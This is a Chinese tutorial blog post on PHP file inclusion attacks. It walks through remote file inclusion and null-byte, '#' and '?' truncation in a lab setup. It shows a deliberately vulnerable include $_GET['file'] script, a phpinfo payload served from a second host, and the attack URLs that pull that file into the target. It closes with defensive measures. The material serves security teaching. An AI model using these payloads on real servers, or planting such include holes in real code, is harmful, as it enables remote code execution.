当前位置:网站首页>文件包含漏洞(二)
文件包含漏洞(二)
2022-07-02 05:39:00 【Aτθ】
一、包含远程文件
1、原理分析
当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On、allow_url_include=ON 两个条件同时
为 On 允许远程包含文件。
2、实操
2.1 虚拟机搭建test.php
<?php
include $_GET['file'];
?>
2.2 python本地搭建简历服务器
<?php
phpinfo();
?>
C:\Users\Administrator
2.3 远程文件包含
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt
二、文件包含截断攻击
文件包含截断攻击,在 php 版本小于 5.3.4 允许使用%00 截断,在使用 include 等文件包含函数,可以截断文件名,
截断会受 gpc影响,如果 gpc为 On 时,%00会被转以成\0 截断会失败。
<?php
include $GET['file'].'.php';
?>
传入 file 文件名拼接.php 在用 include 引入文件。file 参数可控的会造成漏洞。
1、文件包含%00 截断
上传带有恶意代码的文件到网站目录,包含引入再进行 00 截断。
当前测试的版本是 php 5.2.17,gpc=off
http://192.168.127.132/test.php?file=1.jpg%00
2、远程包含截断
2.1 原理分析
适用于远程截断的字符有:
符号 | URL编码 |
---|---|
# | %23 |
? | %3f |
00 | %00 |
以上这个字符都可以截断:
allow_url_fopen =On
allow_url_include=On
2.2 环境搭建
<?php
include $_GET['file'];
?>
2.3 python本地搭建简历服务器
<?php
phpinfo();
?>
C:\Users\Administrator
2.4 远程文件包含
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%00
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%3f
http://192.168.127.132/test.php?file=http://192.168.1.107:8089/1.txt%23
三、防御方案
1.严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
2.路径限制:限制被包含的文件只能在某一文件内,一定要禁止目录跳转字符,如:"../";
3.包含文件验证:验证被包含的文件是否是白名单中的一员;
4.尽量不要使用动态包含,可以在需要包含的页面固定写好,如:include('head.php')。
5.设置 allow_url_include为 Off
边栏推荐
- Fabric. JS round brush
- Fabric. JS three methods of changing pictures (including changing pictures in the group and caching)
- Storage of data
- Fabric. JS iText sets the color and background color of the specified text
- Detailed explanation of Pointer use
- ERP management system development and design existing source code
- all3dp.com网站中全部Arduino项目(2022.7.1)
- 【技术随记-08】
- Usage record of vector
- Gee: create a new feature and set corresponding attributes
猜你喜欢
Gee series: Unit 3 raster remote sensing image band characteristics and rendering visualization
Using QA band and bit mask in Google Earth engine
Fabric. JS compact JSON
7.TCP的十一种状态集
"Original, excellent and vulgar" in operation and maintenance work
RGB infinite cube (advanced version)
Opencv LBP features
【pyinstaller】_ get_ sysconfigdata_ name() missing 1 required positional argument: ‘check_ exists‘
2022-2-14 learning xiangniuke project - Section 6 displays login information
Software testing learning - day 4
随机推荐
软件测试基础篇
Gee series: Unit 4 data import and export in Google Earth engine
LS1046nfs挂载文件系统
Two implementation methods of delay queue
How matlab marks' a 'in the figure and how matlab marks points and solid points in the figure
Get the details of the next largest number
all3dp. All Arduino projects in com website (2022.7.1)
Gee: remote sensing image composite and mosaic
Determine whether there is an element in the string type
Gee: find the spatial distribution and corresponding time of the "greenest" in the Yellow River Basin in 2020 [pixel by pixel analysis]
1036 Boys vs Girls
Zzuli:1069 learn from classmate Z
Fabric. JS basic brush
2022-2-14 learning xiangniuke project - Section 7 account setting
all3dp.com网站中全部Arduino项目(2022.7.1)
Common protocols and download paths of NR
Online English teaching app open source platform (customized)
【pyinstaller】_ get_ sysconfigdata_ name() missing 1 required positional argument: ‘check_ exists‘
Fabric.js 将本地图像上传到画布背景
Global and Chinese market of commercial fish tanks 2022-2028: Research Report on technology, participants, trends, market size and share